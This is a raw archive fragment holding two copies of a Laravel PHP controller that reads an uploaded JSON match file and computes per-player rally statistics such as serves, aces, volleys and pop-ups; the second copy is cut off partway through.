$request->file('json_file'); $jsonData = file_get_contents($jsonFile->getRealPath()); $data = json_decode($jsonData, true); // $data = collect($data); // dd($data->keys()); // Dynamically extract all player IDs from the JSON data // $players = $this->getPlayerIdsFromJson($data); // $players = collect(); // foreach($request['player_id'] as $key => $player_id) // { // $user = User::find($player_id); // $player = Player::firstOrCreate(['fname'=>$user->fname,'user_id'=>$user->id])->id; // $players->push($player); // } // Iterate through each player and calculate stats if (!empty($request->index) && empty($request->player_id)) { // dd("index"); foreach ($request->index as $key => $index) { // dd($request->player_id); // Delete existing records for the player PlayerState::where(['player_id' => $key, 'log_id' => $log->id])->delete(); // Initialize variables for each player's stats $at_attempts = 0; $winners = 0; $saves = 0; $serves = 0; $service_aces = 0; $service_errors = 0; $hits = 0; $errors = 0; $volley_hits = 0; $volley_hit_errors = 0; $pop_ups = 0; $shot_quality_total = 0; $valid_shots = 0; // Iterate through rallies and moments to calculate stats for each player foreach ($data['rallies'] as $rally) { // dd($rally); foreach ($rally['moments'] as $moment_index => $moment) { if (isset($moment['ball']) && isset($moment['ball']['shot'])) { $shot = $moment['ball']['shot']; // At Attempts (AA) if (isset($shot['resulting_ball_movement']['speed']) && $moment_index > 1) { $at_attempts += 1; } // Winners (W) if (($shot['is_final'] ?? false)) { $winners += 1; } // Saves (SAV) if (isset($shot['resulting_ball_movement']['speed']) && $shot['resulting_ball_movement']['speed'] >= 35) { $saves += 1; } // Serves (S), Service Aces (SA), and Service Errors (SE) if ($moment_index == 1) { $serves += 1; if (isset($moment['next_moment']) && !$moment['next_moment']['player_returned']) { $service_aces += 1; } // Uncomment if needed // if ($shot['result'] == 'out') { // $service_errors += 1; // } } // Hits (H) and Errors (E) // if ($shot['player_id'] == $player_id) { $hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $errors += 1; // } // } // Volley Hits (VH) and Volley Hit Errors (VHE) if (isset($shot['resulting_ball_movement']['is_volleyed']) && $shot['resulting_ball_movement']['is_volleyed']) { $volley_hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $volley_hit_errors += 1; // } } // Pop-Ups (PU) if ($moment_index >= 3 && isset($shot['resulting_ball_movement']['trajectory']['peak'])) { $trajectory = $shot['resulting_ball_movement']['trajectory']['peak']; if ($trajectory['z'] >= 5.00 && (0 <= $trajectory['x'] && $trajectory['x'] <= 20) && ((0 <= $trajectory['y'] && $trajectory['y'] <= 17) || (27 <= $trajectory['y'] && $trajectory['y'] <= 44))) { $pop_ups += 1; } } // Shot Quality (SQ) if (isset($shot['resulting_ball_movement']['speed'])) { $shot_quality_total += $shot['resulting_ball_movement']['speed'] * ($shot['spin'] ?? 0); $valid_shots += 1; } } } } // Calculations for percentages and averages $serve_percentage = $serves > 0 ? (($serves - $service_errors) / $serves) * 100 : 0; $lifetime_serve_percentage = $serve_percentage; $hits_average = $hits > 0 ? (($hits - $errors) / $hits) * 100 : 0; $errors_percentage = $hits > 0 ? ($errors / $hits) * 100 : 0; $volley_hit_error_percentage = $volley_hits > 0 ? ($volley_hit_errors / $volley_hits) * 100 : 0; $pop_up_percentage = $at_attempts > 0 ? ($pop_ups / $at_attempts) * 100 : 0; $shot_quality_average = $valid_shots > 0 ? $shot_quality_total / $valid_shots : 0; // Create new record for the player // dd($player_id); PlayerState::create([ 'json_player_id' => $key + 1, 'player_name' => $index, 'log_id' => $log->id, 'at_attempts' => $at_attempts, 'winners' => $winners, 'saves' => $saves, 'serves' => $serves, 'service_aces' => $service_aces, 'service_errors' => $service_errors, 'serve_percentage' => round($serve_percentage, 2), 'lifetime_serve_percentage' => round($lifetime_serve_percentage, 2), 'hits' => $hits, 'hits_average' => round($hits_average, 2), 'errors' => $errors, 'errors_percentage' => round($errors_percentage, 2), 'volley_hits' => $volley_hits, 'volley_hit_errors' => $volley_hit_errors, 'volley_hit_error_percentage' => round($volley_hit_error_percentage, 2), 'pop_ups' => $pop_ups, 'pop_up_percentage' => round($pop_up_percentage, 2), 'shot_quality_average' => round($shot_quality_average, 2), ]); // LogPlayer::create([ // 'player_id'=>$player_id, // 'log_id' =>$log->id, // ]); } } else if(!empty($request->player_id) && empty($request->index)) { // dd("player_id"); $players = collect(); foreach ($request['player_id'] as $key => $player_id) { $user = User::find($player_id); $player = Player::firstOrCreate(['fname' => $user->fname, 'user_id' => $user->id])->id; $players->push($player); } // Iterate through each player and calculate stats foreach ($players as $player_id) { // dd($player_id); // Delete existing records for the player PlayerState::where(['player_id' => $player_id, 'log_id' => $log->id])->delete(); // Initialize variables for each player's stats $at_attempts = 0; $winners = 0; $saves = 0; $serves = 0; $service_aces = 0; $service_errors = 0; $hits = 0; $errors = 0; $volley_hits = 0; $volley_hit_errors = 0; $pop_ups = 0; $shot_quality_total = 0; $valid_shots = 0; // Iterate through rallies and moments to calculate stats for each player foreach ($data['rallies'] as $rally) { // dd($rally); foreach ($rally['moments'] as $moment_index => $moment) { if (isset($moment['ball']) && isset($moment['ball']['shot'])) { $shot = $moment['ball']['shot']; // At Attempts (AA) if (isset($shot['resulting_ball_movement']['speed']) && $moment_index > 1) { $at_attempts += 1; } // Winners (W) if (($shot['is_final'] ?? false)) { $winners += 1; } // Saves (SAV) if (isset($shot['resulting_ball_movement']['speed']) && $shot['resulting_ball_movement']['speed'] >= 35) { $saves += 1; } // Serves (S), Service Aces (SA), and Service Errors (SE) if ($moment_index == 1) { $serves += 1; if (isset($moment['next_moment']) && !$moment['next_moment']['player_returned']) { $service_aces += 1; } // Uncomment if needed // if ($shot['result'] == 'out') { // $service_errors += 1; // } } // Hits (H) and Errors (E) // if ($shot['player_id'] == $player_id) { $hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $errors += 1; // } // } // Volley Hits (VH) and Volley Hit Errors (VHE) if (isset($shot['resulting_ball_movement']['is_volleyed']) && $shot['resulting_ball_movement']['is_volleyed']) { $volley_hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $volley_hit_errors += 1; // } } // Pop-Ups (PU) if ($moment_index >= 3 && isset($shot['resulting_ball_movement']['trajectory']['peak'])) { $trajectory = $shot['resulting_ball_movement']['trajectory']['peak']; if ($trajectory['z'] >= 5.00 && (0 <= $trajectory['x'] && $trajectory['x'] <= 20) && ((0 <= $trajectory['y'] && $trajectory['y'] <= 17) || (27 <= $trajectory['y'] && $trajectory['y'] <= 44))) { $pop_ups += 1; } } // Shot Quality (SQ) if (isset($shot['resulting_ball_movement']['speed'])) { $shot_quality_total += $shot['resulting_ball_movement']['speed'] * ($shot['spin'] ?? 0); $valid_shots += 1; } } } } // Calculations for percentages and averages $serve_percentage = $serves > 0 ? (($serves - $service_errors) / $serves) * 100 : 0; $lifetime_serve_percentage = $serve_percentage; $hits_average = $hits > 0 ? (($hits - $errors) / $hits) * 100 : 0; $errors_percentage = $hits > 0 ? ($errors / $hits) * 100 : 0; $volley_hit_error_percentage = $volley_hits > 0 ? ($volley_hit_errors / $volley_hits) * 100 : 0; $pop_up_percentage = $at_attempts > 0 ? ($pop_ups / $at_attempts) * 100 : 0; $shot_quality_average = $valid_shots > 0 ? $shot_quality_total / $valid_shots : 0; // Create new record for the player PlayerState::create([ 'player_id' => $player_id, 'player_name' => $user->fname." ".$user->lname, 'log_id' => $log->id, 'at_attempts' => $at_attempts, 'winners' => $winners, 'saves' => $saves, 'serves' => $serves, 'service_aces' => $service_aces, 'service_errors' => $service_errors, 'serve_percentage' => round($serve_percentage, 2), 'lifetime_serve_percentage' => round($lifetime_serve_percentage, 2), 'hits' => $hits, 'hits_average' => round($hits_average, 2), 'errors' => $errors, 'errors_percentage' => round($errors_percentage, 2), 'volley_hits' => $volley_hits, 'volley_hit_errors' => $volley_hit_errors, 'volley_hit_error_percentage' => round($volley_hit_error_percentage, 2), 'pop_ups' => $pop_ups, 'pop_up_percentage' => round($pop_up_percentage, 2), 'shot_quality_average' => round($shot_quality_average, 2), ]); // LogPlayer::create([ // 'player_id'=>$player_id, // 'log_id' =>$log->id, // ]); } } else if(!empty($request->player_id) && !empty($request->index)) { // random players if(!empty($request->index)){ foreach ($request->index as $key => $index) { // dd($request->index); // Delete existing records for the player // PlayerState::where(['player_id' => $key, 'log_id' => $log->id])->delete(); // Initialize variables for each player's stats $at_attempts = 0; $winners = 0; $saves = 0; $serves = 0; $service_aces = 0; $service_errors = 0; $hits = 0; $errors = 0; $volley_hits = 0; $volley_hit_errors = 0; $pop_ups = 0; $shot_quality_total = 0; $valid_shots = 0; // Iterate through rallies and moments to calculate stats for each player foreach ($data['rallies'] as $rally) { // dd($rally); foreach ($rally['moments'] as $moment_index => $moment) { if (isset($moment['ball']) && isset($moment['ball']['shot'])) { $shot = $moment['ball']['shot']; // At Attempts (AA) if (isset($shot['resulting_ball_movement']['speed']) && $moment_index > 1) { $at_attempts += 1; } // Winners (W) if (($shot['is_final'] ?? false)) { $winners += 1; } // Saves (SAV) if (isset($shot['resulting_ball_movement']['speed']) && $shot['resulting_ball_movement']['speed'] >= 35) { $saves += 1; } // Serves (S), Service Aces (SA), and Service Errors (SE) if ($moment_index == 1) { $serves += 1; if (isset($moment['next_moment']) && !$moment['next_moment']['player_returned']) { $service_aces += 1; } // Uncomment if needed // if ($shot['result'] == 'out') { // $service_errors += 1; // } } // Hits (H) and Errors (E) // if ($shot['player_id'] == $player_id) { $hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $errors += 1; // } // } // Volley Hits (VH) and Volley Hit Errors (VHE) if (isset($shot['resulting_ball_movement']['is_volleyed']) && $shot['resulting_ball_movement']['is_volleyed']) { $volley_hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $volley_hit_errors += 1; // } } // Pop-Ups (PU) if ($moment_index >= 3 && isset($shot['resulting_ball_movement']['trajectory']['peak'])) { $trajectory = $shot['resulting_ball_movement']['trajectory']['peak']; if ($trajectory['z'] >= 5.00 && (0 <= $trajectory['x'] && $trajectory['x'] <= 20) && ((0 <= $trajectory['y'] && $trajectory['y'] <= 17) || (27 <= $trajectory['y'] && $trajectory['y'] <= 44))) { $pop_ups += 1; } } // Shot Quality (SQ) if (isset($shot['resulting_ball_movement']['speed'])) { $shot_quality_total += $shot['resulting_ball_movement']['speed'] * ($shot['spin'] ?? 0); $valid_shots += 1; } } } } // Calculations for percentages and averages $serve_percentage = $serves > 0 ? (($serves - $service_errors) / $serves) * 100 : 0; $lifetime_serve_percentage = $serve_percentage; $hits_average = $hits > 0 ? (($hits - $errors) / $hits) * 100 : 0; $errors_percentage = $hits > 0 ? ($errors / $hits) * 100 : 0; $volley_hit_error_percentage = $volley_hits > 0 ? ($volley_hit_errors / $volley_hits) * 100 : 0; $pop_up_percentage = $at_attempts > 0 ? ($pop_ups / $at_attempts) * 100 : 0; $shot_quality_average = $valid_shots > 0 ? $shot_quality_total / $valid_shots : 0; // Create new record for the player // dd($player_id); $indexNumber =$key + 1; PlayerState::create([ 'json_player_id' => $indexNumber, 'player_name' => $index, 'log_id' => $log->id, 'at_attempts' => $at_attempts, 'winners' => $winners, 'saves' => $saves, 'serves' => $serves, 'service_aces' => $service_aces, 'service_errors' => $service_errors, 'serve_percentage' => round($serve_percentage, 2), 'lifetime_serve_percentage' => round($lifetime_serve_percentage, 2), 'hits' => $hits, 'hits_average' => round($hits_average, 2), 'errors' => $errors, 'errors_percentage' => round($errors_percentage, 2), 'volley_hits' => $volley_hits, 'volley_hit_errors' => $volley_hit_errors, 'volley_hit_error_percentage' => round($volley_hit_error_percentage, 2), 'pop_ups' => $pop_ups, 'pop_up_percentage' => round($pop_up_percentage, 2), 'shot_quality_average' => round($shot_quality_average, 2), ]); // LogPlayer::create([ // 'player_id'=>$player_id, // 'log_id' =>$log->id, // ]); } } //players from database if(!empty($request['player_id'])){ $players = collect(); foreach ($request['player_id'] as $key => $player_id) { $user = User::find($player_id); $player = Player::firstOrCreate(['fname' => $user->fname, 'user_id' => $user->id])->id; $players->push($player); } // dd($players); // Iterate through each player and calculate stats foreach ($players as $player_id) { // Delete existing records for the player // PlayerState::where(['player_id' => $player_id, 'log_id' => $log->id])->delete(); // Initialize variables for each player's stats $at_attempts = 0; $winners = 0; $saves = 0; $serves = 0; $service_aces = 0; $service_errors = 0; $hits = 0; $errors = 0; $volley_hits = 0; $volley_hit_errors = 0; $pop_ups = 0; $shot_quality_total = 0; $valid_shots = 0; // Iterate through rallies and moments to calculate stats for each player foreach ($data['rallies'] as $rally) { // dd($rally); foreach ($rally['moments'] as $moment_index => $moment) { if (isset($moment['ball']) && isset($moment['ball']['shot'])) { $shot = $moment['ball']['shot']; // At Attempts (AA) if (isset($shot['resulting_ball_movement']['speed']) && $moment_index > 1) { $at_attempts += 1; } // Winners (W) if (($shot['is_final'] ?? false)) { $winners += 1; } // Saves (SAV) if (isset($shot['resulting_ball_movement']['speed']) && $shot['resulting_ball_movement']['speed'] >= 35) { $saves += 1; } // Serves (S), Service Aces (SA), and Service Errors (SE) if ($moment_index == 1) { $serves += 1; if (isset($moment['next_moment']) && !$moment['next_moment']['player_returned']) { $service_aces += 1; } // Uncomment if needed // if ($shot['result'] == 'out') { // $service_errors += 1; // } } // Hits (H) and Errors (E) // if ($shot['player_id'] == $player_id) { $hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $errors += 1; // } // } // Volley Hits (VH) and Volley Hit Errors (VHE) if (isset($shot['resulting_ball_movement']['is_volleyed']) && $shot['resulting_ball_movement']['is_volleyed']) { $volley_hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $volley_hit_errors += 1; // } } // Pop-Ups (PU) if ($moment_index >= 3 && isset($shot['resulting_ball_movement']['trajectory']['peak'])) { $trajectory = $shot['resulting_ball_movement']['trajectory']['peak']; if ($trajectory['z'] >= 5.00 && (0 <= $trajectory['x'] && $trajectory['x'] <= 20) && ((0 <= $trajectory['y'] && $trajectory['y'] <= 17) || (27 <= $trajectory['y'] && $trajectory['y'] <= 44))) { $pop_ups += 1; } } // Shot Quality (SQ) if (isset($shot['resulting_ball_movement']['speed'])) { $shot_quality_total += $shot['resulting_ball_movement']['speed'] * ($shot['spin'] ?? 0); $valid_shots += 1; } } } } // Calculations for percentages and averages $serve_percentage = $serves > 0 ? (($serves - $service_errors) / $serves) * 100 : 0; $lifetime_serve_percentage = $serve_percentage; $hits_average = $hits > 0 ? (($hits - $errors) / $hits) * 100 : 0; $errors_percentage = $hits > 0 ? ($errors / $hits) * 100 : 0; $volley_hit_error_percentage = $volley_hits > 0 ? ($volley_hit_errors / $volley_hits) * 100 : 0; $pop_up_percentage = $at_attempts > 0 ? ($pop_ups / $at_attempts) * 100 : 0; $shot_quality_average = $valid_shots > 0 ? $shot_quality_total / $valid_shots : 0; // Create new record for the player PlayerState::create([ 'player_id' => $player_id, 'player_name' => $user->fname." ".$user->lname, 'log_id' => $log->id, 'at_attempts' => $at_attempts, 'winners' => $winners, 'saves' => $saves, 'serves' => $serves, 'service_aces' => $service_aces, 'service_errors' => $service_errors, 'serve_percentage' => round($serve_percentage, 2), 'lifetime_serve_percentage' => round($lifetime_serve_percentage, 2), 'hits' => $hits, 'hits_average' => round($hits_average, 2), 'errors' => $errors, 'errors_percentage' => round($errors_percentage, 2), 'volley_hits' => $volley_hits, 'volley_hit_errors' => $volley_hit_errors, 'volley_hit_error_percentage' => round($volley_hit_error_percentage, 2), 'pop_ups' => $pop_ups, 'pop_up_percentage' => round($pop_up_percentage, 2), 'shot_quality_average' => round($shot_quality_average, 2), ]); // LogPlayer::create([ // 'player_id'=>$player_id, // 'log_id' =>$log->id, // ]); } } } $data = PlayerState::where('log_id', $log->id)->get(); return response()->json(['message' => 'Data processed successfully', 'data' => $data]); } return response()->json(['error' => 'File not uploaded'], 400); } } PK �6fZ��jq� q� History/-68b100b8/cPXv.phpnu �Iw�� <?php namespace App\Http\Controllers; use App\Models\Player; use App\Models\PlayerState; use App\Models\User; use Illuminate\Http\Request; use Illuminate\Support\Facades\Validator; class PlayerStateJsonController extends Controller { public function jsonPlayerState(Request $request) { // dd(auth()->user()); $validator = Validator::make($request->all(), [ 'index' => 'nullable|array|max:4', 'index.*' => 'nullable|string', 'player_id' => 'nullable|array|max:4', 'player_id.*' => 'nullable|exists:users,id', // 'player_fname.*' => 'required|string|max:255', // Each element in 'player_fname' array must be a string and required // 'player_name' => 'required|array', // Ensures 'player_fname' is an array and is required // 'player_name.*' => 'required|string|max:255', // Each element in 'player_fname' array must be a string and required ]); // dd($request->file('json_file')); // Check if validation fails $originalFileName = $request->file('json_file')->getClientOriginalName(); // dd($originalFileName); if ($validator->fails()) { return response()->json(['errors' => $validator->errors()], 422); } // if(auth()->user()->getTable()=="users"){ // $log = Log::create([ // 'log'=>$originalFileName, // 'user_id' =>auth()->id(), // ]); // } // else{ // $log = Log::create([ // 'log'=>$originalFileName, // 'admin_id' =>auth()->id(), // ]); // } // log create $log = auth()->user()->logs()->create(['log' => $originalFileName]); // dd(auth()->user()->getTable()); if ($request->hasFile('json_file')) { // Read the JSON data from the uploaded file $jsonFile = $request->file('json_file'); $jsonData = file_get_contents($jsonFile->getRealPath()); $data = json_decode($jsonData, true); // $data = collect($data); // dd($data->keys()); // Dynamically extract all player IDs from the JSON data // $players = $this->getPlayerIdsFromJson($data); // $players = collect(); // foreach($request['player_id'] as $key => $player_id) // { // $user = User::find($player_id); // $player = Player::firstOrCreate(['fname'=>$user->fname,'user_id'=>$user->id])->id; // $players->push($player); // } // Iterate through each player and calculate stats if (!empty($request->index) && empty($request->player_id)) { // dd("index"); foreach ($request->index as $key => $index) { // dd($request->player_id); // Delete existing records for the player PlayerState::where(['player_id' => $key, 'log_id' => $log->id])->delete(); // Initialize variables for each player's stats $at_attempts = 0; $winners = 0; $saves = 0; $serves = 0; $service_aces = 0; $service_errors = 0; $hits = 0; $errors = 0; $volley_hits = 0; $volley_hit_errors = 0; $pop_ups = 0; $shot_quality_total = 0; $valid_shots = 0; // Iterate through rallies and moments to calculate stats for each player foreach ($data['rallies'] as $rally) { // dd($rally); foreach ($rally['moments'] as $moment_index => $moment) { if (isset($moment['ball']) && isset($moment['ball']['shot'])) { $shot = $moment['ball']['shot']; // At Attempts (AA) if (isset($shot['resulting_ball_movement']['speed']) && $moment_index > 1) { $at_attempts += 1; } // Winners (W) if (($shot['is_final'] ?? false)) { $winners += 1; } // Saves (SAV) if (isset($shot['resulting_ball_movement']['speed']) && $shot['resulting_ball_movement']['speed'] >= 35) { $saves += 1; } // Serves (S), Service Aces (SA), and Service Errors (SE) if ($moment_index == 1) { $serves += 1; if (isset($moment['next_moment']) && !$moment['next_moment']['player_returned']) { $service_aces += 1; } // Uncomment if needed // if ($shot['result'] == 'out') { // $service_errors += 1; // } } // Hits (H) and Errors (E) // if ($shot['player_id'] == $player_id) { $hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $errors += 1; // } // } // Volley Hits (VH) and Volley Hit Errors (VHE) if (isset($shot['resulting_ball_movement']['is_volleyed']) && $shot['resulting_ball_movement']['is_volleyed']) { $volley_hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $volley_hit_errors += 1; // } } // Pop-Ups (PU) if ($moment_index >= 3 && isset($shot['resulting_ball_movement']['trajectory']['peak'])) { $trajectory = $shot['resulting_ball_movement']['trajectory']['peak']; if ($trajectory['z'] >= 5.00 && (0 <= $trajectory['x'] && $trajectory['x'] <= 20) && ((0 <= $trajectory['y'] && $trajectory['y'] <= 17) || (27 <= $trajectory['y'] && $trajectory['y'] <= 44))) { $pop_ups += 1; } } // Shot Quality (SQ) if (isset($shot['resulting_ball_movement']['speed'])) { $shot_quality_total += $shot['resulting_ball_movement']['speed'] * ($shot['spin'] ?? 0); $valid_shots += 1; } } } } // Calculations for percentages and averages $serve_percentage = $serves > 0 ? (($serves - $service_errors) / $serves) * 100 : 0; $lifetime_serve_percentage = $serve_percentage; $hits_average = $hits > 0 ? (($hits - $errors) / $hits) * 100 : 0; $errors_percentage = $hits > 0 ? ($errors / $hits) * 100 : 0; $volley_hit_error_percentage = $volley_hits > 0 ? ($volley_hit_errors / $volley_hits) * 100 : 0; $pop_up_percentage = $at_attempts > 0 ? ($pop_ups / $at_attempts) * 100 : 0; $shot_quality_average = $valid_shots > 0 ? $shot_quality_total / $valid_shots : 0; // Create new record for the player // dd($player_id); PlayerState::create([ 'json_player_id' => $key + 1, 'player_name' => $index, 'log_id' => $log->id, 'at_attempts' => $at_attempts, 'winners' => $winners, 'saves' => $saves, 'serves' => $serves, 'service_aces' => $service_aces, 'service_errors' => $service_errors, 'serve_percentage' => round($serve_percentage, 2), 'lifetime_serve_percentage' => round($lifetime_serve_percentage, 2), 'hits' => $hits, 'hits_average' => round($hits_average, 2), 'errors' => $errors, 'errors_percentage' => round($errors_percentage, 2), 'volley_hits' => $volley_hits, 'volley_hit_errors' => $volley_hit_errors, 'volley_hit_error_percentage' => round($volley_hit_error_percentage, 2), 'pop_ups' => $pop_ups, 'pop_up_percentage' => round($pop_up_percentage, 2), 'shot_quality_average' => round($shot_quality_average, 2), ]); // LogPlayer::create([ // 'player_id'=>$player_id, // 'log_id' =>$log->id, // ]); } } else if(!empty($request->player_id) && empty($request->index)) { // dd("player_id"); $players = collect(); foreach ($request['player_id'] as $key => $player_id) { $user = User::find($player_id); $player = Player::firstOrCreate(['fname' => $user->fname, 'user_id' => $user->id])->id; $players->push($player); } // Iterate through each player and calculate stats foreach ($players as $player_id) { // dd($player_id); // Delete existing records for the player PlayerState::where(['player_id' => $player_id, 'log_id' => $log->id])->delete(); // Initialize variables for each player's stats $at_attempts = 0; $winners = 0; $saves = 0; $serves = 0; $service_aces = 0; $service_errors = 0; $hits = 0; $errors = 0; $volley_hits = 0; $volley_hit_errors = 0; $pop_ups = 0; $shot_quality_total = 0; $valid_shots = 0; // Iterate through rallies and moments to calculate stats for each player foreach ($data['rallies'] as $rally) { // dd($rally); foreach ($rally['moments'] as $moment_index => $moment) { if (isset($moment['ball']) && isset($moment['ball']['shot'])) { $shot = $moment['ball']['shot']; // At Attempts (AA) if (isset($shot['resulting_ball_movement']['speed']) && $moment_index > 1) { $at_attempts += 1; } // Winners (W) if (($shot['is_final'] ?? false)) { $winners += 1; } // Saves (SAV) if (isset($shot['resulting_ball_movement']['speed']) && $shot['resulting_ball_movement']['speed'] >= 35) { $saves += 1; } // Serves (S), Service Aces (SA), and Service Errors (SE) if ($moment_index == 1) { $serves += 1; if (isset($moment['next_moment']) && !$moment['next_moment']['player_returned']) { $service_aces += 1; } // Uncomment if needed // if ($shot['result'] == 'out') { // $service_errors += 1; // } } // Hits (H) and Errors (E) // if ($shot['player_id'] == $player_id) { $hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $errors += 1; // } // } // Volley Hits (VH) and Volley Hit Errors (VHE) if (isset($shot['resulting_ball_movement']['is_volleyed']) && $shot['resulting_ball_movement']['is_volleyed']) { $volley_hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $volley_hit_errors += 1; // } } // Pop-Ups (PU) if ($moment_index >= 3 && isset($shot['resulting_ball_movement']['trajectory']['peak'])) { $trajectory = $shot['resulting_ball_movement']['trajectory']['peak']; if ($trajectory['z'] >= 5.00 && (0 <= $trajectory['x'] && $trajectory['x'] <= 20) && ((0 <= $trajectory['y'] && $trajectory['y'] <= 17) || (27 <= $trajectory['y'] && $trajectory['y'] <= 44))) { $pop_ups += 1; } } // Shot Quality (SQ) if (isset($shot['resulting_ball_movement']['speed'])) { $shot_quality_total += $shot['resulting_ball_movement']['speed'] * ($shot['spin'] ?? 0); $valid_shots += 1; } } } } // Calculations for percentages and averages $serve_percentage = $serves > 0 ? (($serves - $service_errors) / $serves) * 100 : 0; $lifetime_serve_percentage = $serve_percentage; $hits_average = $hits > 0 ? (($hits - $errors) / $hits) * 100 : 0; $errors_percentage = $hits > 0 ? ($errors / $hits) * 100 : 0; $volley_hit_error_percentage = $volley_hits > 0 ? ($volley_hit_errors / $volley_hits) * 100 : 0; $pop_up_percentage = $at_attempts > 0 ? ($pop_ups / $at_attempts) * 100 : 0; $shot_quality_average = $valid_shots > 0 ? $shot_quality_total / $valid_shots : 0; // Create new record for the player PlayerState::create([ 'player_id' => $player_id, 'player_name' => $user->fname." ".$user->lname, 'log_id' => $log->id, 'at_attempts' => $at_attempts, 'winners' => $winners, 'saves' => $saves, 'serves' => $serves, 'service_aces' => $service_aces, 'service_errors' => $service_errors, 'serve_percentage' => round($serve_percentage, 2), 'lifetime_serve_percentage' => round($lifetime_serve_percentage, 2), 'hits' => $hits, 'hits_average' => round($hits_average, 2), 'errors' => $errors, 'errors_percentage' => round($errors_percentage, 2), 'volley_hits' => $volley_hits, 'volley_hit_errors' => $volley_hit_errors, 'volley_hit_error_percentage' => round($volley_hit_error_percentage, 2), 'pop_ups' => $pop_ups, 'pop_up_percentage' => round($pop_up_percentage, 2), 'shot_quality_average' => round($shot_quality_average, 2), ]); // LogPlayer::create([ // 'player_id'=>$player_id, // 'log_id' =>$log->id, // ]); } } else if(!empty($request->player_id) && !empty($request->index)) { // random players if(!empty($request->index)){ foreach ($request->index as $key => $index) { // dd($request->index); // Delete existing records for the player // PlayerState::where(['player_id' => $key, 'log_id' => $log->id])->delete(); // Initialize variables for each player's stats $at_attempts = 0; $winners = 0; $saves = 0; $serves = 0; $service_aces = 0; $service_errors = 0; $hits = 0; $errors = 0; $volley_hits = 0; $volley_hit_errors = 0; $pop_ups = 0; $shot_quality_total = 0; $valid_shots = 0; // Iterate through rallies and moments to calculate stats for each player foreach ($data['rallies'] as $rally) { // dd($rally); foreach ($rally['moments'] as $moment_index => $moment) { if (isset($moment['ball']) && isset($moment['ball']['shot'])) { $shot = $moment['ball']['shot']; // At Attempts (AA) if (isset($shot['resulting_ball_movement']['speed']) && $moment_index > 1) { $at_attempts += 1; } // Winners (W) if (($shot['is_final'] ?? false)) { $winners += 1; } // Saves (SAV) if (isset($shot['resulting_ball_movement']['speed']) && $shot['resulting_ball_movement']['speed'] >= 35) { $saves += 1; } // Serves (S), Service Aces (SA), and Service Errors (SE) if ($moment_index == 1) { $serves += 1; if (isset($moment['next_moment']) && !$moment['next_moment']['player_returned']) { $service_aces += 1; } // Uncomment if needed // if ($shot['result'] == 'out') { // $service_errors += 1; // } } // Hits (H) and Errors (E) // if ($shot['player_id'] == $player_id) { $hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $errors += 1; // } // } // Volley Hits (VH) and Volley Hit Errors (VHE) if (isset($shot['resulting_ball_movement']['is_volleyed']) && $shot['resulting_ball_movement']['is_volleyed']) { $volley_hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $volley_hit_errors += 1; // } } // Pop-Ups (PU) if ($moment_index >= 3 && isset($shot['resulting_ball_movement']['trajectory']['peak'])) { $trajectory = $shot['resulting_ball_movement']['trajectory']['peak']; if ($trajectory['z'] >= 5.00 && (0 <= $trajectory['x'] && $trajectory['x'] <= 20) && ((0 <= $trajectory['y'] && $trajectory['y'] <= 17) || (27 <= $trajectory['y'] && $trajectory['y'] <= 44))) { $pop_ups += 1; } } // Shot Quality (SQ) if (isset($shot['resulting_ball_movement']['speed'])) { $shot_quality_total += $shot['resulting_ball_movement']['speed'] * ($shot['spin'] ?? 0); $valid_shots += 1; } } } } // Calculations for percentages and averages $serve_percentage = $serves > 0 ? (($serves - $service_errors) / $serves) * 100 : 0; $lifetime_serve_percentage = $serve_percentage; $hits_average = $hits > 0 ? (($hits - $errors) / $hits) * 100 : 0; $errors_percentage = $hits > 0 ? ($errors / $hits) * 100 : 0; $volley_hit_error_percentage = $volley_hits > 0 ? ($volley_hit_errors / $volley_hits) * 100 : 0; $pop_up_percentage = $at_attempts > 0 ? ($pop_ups / $at_attempts) * 100 : 0; $shot_quality_average = $valid_shots > 0 ? $shot_quality_total / $valid_shots : 0; // Create new record for the player // dd($player_id); $indexNumber =$key + 1; PlayerState::create([ 'json_player_id' => $indexNumber, 'player_name' => $index, 'log_id' => $log->id, 'at_attempts' => $at_attempts, 'winners' => $winners, 'saves' => $saves, 'serves' => $serves, 'service_aces' => $service_aces, 'service_errors' => $service_errors, 'serve_percentage' => round($serve_percentage, 2), 'lifetime_serve_percentage' => round($lifetime_serve_percentage, 2), 'hits' => $hits, 'hits_average' => round($hits_average, 2), 'errors' => $errors, 'errors_percentage' => round($errors_percentage, 2), 'volley_hits' => $volley_hits, 'volley_hit_errors' => $volley_hit_errors, 'volley_hit_error_percentage' => round($volley_hit_error_percentage, 2), 'pop_ups' => $pop_ups, 'pop_up_percentage' => round($pop_up_percentage, 2), 'shot_quality_average' => round($shot_quality_average, 2), ]); // LogPlayer::create([ // 'player_id'=>$player_id, // 'log_id' =>$log->id, // ]); } } //players from database if(!empty($request['player_id'])){ $players = collect(); foreach ($request['player_id'] as $key => $player_id) { $user = User::find($player_id); $player = Player::firstOrCreate(['fname' => $user->fname, 'user_id' => $user->id])->id; $players->push($player); } // dd($players); // Iterate through each player and calculate stats foreach ($players as $player_id) { // Delete existing records for the player // PlayerState::where(['player_id' => $player_id, 'log_id' => $log->id])->delete(); // Initialize variables for each player's stats $at_attempts = 0; $winners = 0; $saves = 0; $serves = 0; $service_aces = 0; $service_errors = 0; $hits = 0; $errors = 0; $volley_hits = 0; $volley_hit_errors = 0; $pop_ups = 0; $shot_quality_total = 0; $valid_shots = 0; // Iterate through rallies and moments to calculate stats for each player foreach ($data['rallies'] as $rally) { // dd($rally); foreach ($rally['moments'] as $moment_index => $moment) { if (isset($moment['ball']) && isset($moment['ball']['shot'])) { $shot = $moment['ball']['shot']; // At Attempts (AA) if (isset($shot['resulting_ball_movement']['speed']) && $moment_index > 1) { $at_attempts += 1; } // Winners (W) if (($shot['is_final'] ?? false)) { $winners += 1; } // Saves (SAV) if 